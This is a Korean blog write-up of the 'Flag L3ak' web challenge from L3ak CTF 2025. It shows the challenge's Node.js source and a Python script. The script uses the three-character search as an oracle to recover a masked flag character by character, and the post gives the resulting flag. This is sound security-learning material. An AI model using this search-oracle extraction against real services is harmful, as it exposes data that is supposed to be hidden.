본문 바로가기
분류 전/CTF

[L3ak CTF 2025] Flag L3ak 풀이

by jwcs 2025. 7. 15.
728x90
반응형

기능 분석

/

post를 검색할 수 있는 기능이 있다. 

 

테스트

근데 3글자만 입력해야한다.

 

flag 테스트

3글자씩 입력하면 해당 글자가 포함되는 게시글을 찾아준다.

 

취약점 분석

 

const express = require('express');
const path = require('path');
const app = express();

const FLAG = 'L3AK{t3mp_flag!!}'
const PORT = 3000;

app.use(express.json());
app.use(express.static('public'));

const posts = [
    {
        id: 1,
        title: "Welcome to our blog!",
        content: "This is our first post. Welcome everyone!",
        author: "admin",
        date: "2025-01-15"
    },
    {
        id: 2,
        title: "Tech Tips",
        content: "Here are some useful technology tips for beginners. Always keep your software updated!",
        author: "Some guy out there",
        date: "2025-01-20"
    },
    {
        id: 3,
        title: "Not the flag?",
        content: `Well luckily the content of the flag is hidden so here it is: ${FLAG}`,
        author: "admin",
        date: "2025-05-13"
    },
    {
        id: 4,
        title: "Real flag fr",
        content: `Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}`,
        author: "L3ak Member",
        date: "2025-06-13"
    },
    {
        id: 5,
        title: "Did you know?",
        content: "This blog post site is pretty dope, right?",
        author: "???",
        date: "2025-06-20"
    },
];

app.get('/', (_, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.post('/api/search', (req, res) => {
    const { query } = req.body;
    
    if (!query || typeof query !== 'string' || query.length !== 3) {
        return res.status(400).json({ 
            error: 'Query must be 3 characters.',
        });
    }

    const matchingPosts = posts
        .filter(post => 
            post.title.includes(query) ||
            post.content.includes(query) ||
            post.author.includes(query)
        )
        .map(post => ({
            ...post,
            content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
    }));

    res.json({
        results: matchingPosts,
        count: matchingPosts.length,
        query: query
    });
});

app.get('/api/posts', (_, res) => {
    const publicPosts = posts.map(post => ({
        id: post.id,
        title: post.title,
        content: post.content.replace(FLAG, '*'.repeat(FLAG.length)),
        author: post.author,
        date: post.date
    }));
    
    res.json({
        posts: publicPosts,
        total: publicPosts.length
    });
});

app.use((_, res) => {
    res.status(404).json({ error: 'Endpoint not found' });
});

app.listen(PORT, () => {
    console.log(`Server running on port ${PORT}`);
});

index.js 파일이다. `/api/search`와 `/api/posts` 쪽을 보면 flag를 `*`로 replace해서 보내고 있다. 다시 말해서, 앞서 확인한 별 표로 된 부분들이 flag인 것이다.

 

근데 검색 기능을 통해 이 flag를 유추할 수 있다.

flag 검색

위 사진에서 볼 수 있듯이 Not the flag? post에서 `K{L`이라는 문자열을 확인할 수 없다. 즉, 별표 처리된 flag를 이런 식으로 찾아낼 수 있는 것이다.

 

import requests

chars = list("0123456789?!_}{abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")

url = "http://34.134.162.213:17000/api/search"
headers = {
    'Content-Type': 'application/json'
}
searchInput = "AK{"
flag="L3AK{"
#L3AK{L3ak1ng_th3_Fl4g??}
while True:
    print(f"Current flag: {flag}")
    for char in chars:
        payload = searchInput[1:] + char
        print(f"payload: {payload}")
        response = requests.post(url, json={"query": payload}, headers=headers)
        print(f"Response: {response.text}")
        if "Not the flag?" in response.text:
            print(f"Found character: {char}")
            flag+= char
            searchInput = payload
            break
    if flag[-1] == '}':
        print(f"Flag found: {flag}")
        break

위 코드로 flag를 찾았다. 코드를 짤 때 알파벳과 숫자, 특수문자의 위치를 신경써야한다. 알파벳이 앞에 있으면 `th3`가 나오지 않고 `the`가 나오게 돼서 진행이 안된다.

 

flag

L3AK{L3ak1ng_th3_Fl4g??}

짜잔

728x90
반응형

'분류 전 > CTF' 카테고리의 다른 글

[L3ak CTF 2025] babyrev 풀이  (1) 2025.07.16
[L3ak CTF 2025] BrainCalc 풀이  (0) 2025.07.15
[R3CTF 2025] web-evalgelist 풀이  (3) 2025.07.13
[cubectf] Legal Snacks 풀이  (1) 2025.07.08
[IERAE CTF 2025][WEB] Warmdown 풀이  (0) 2025.06.22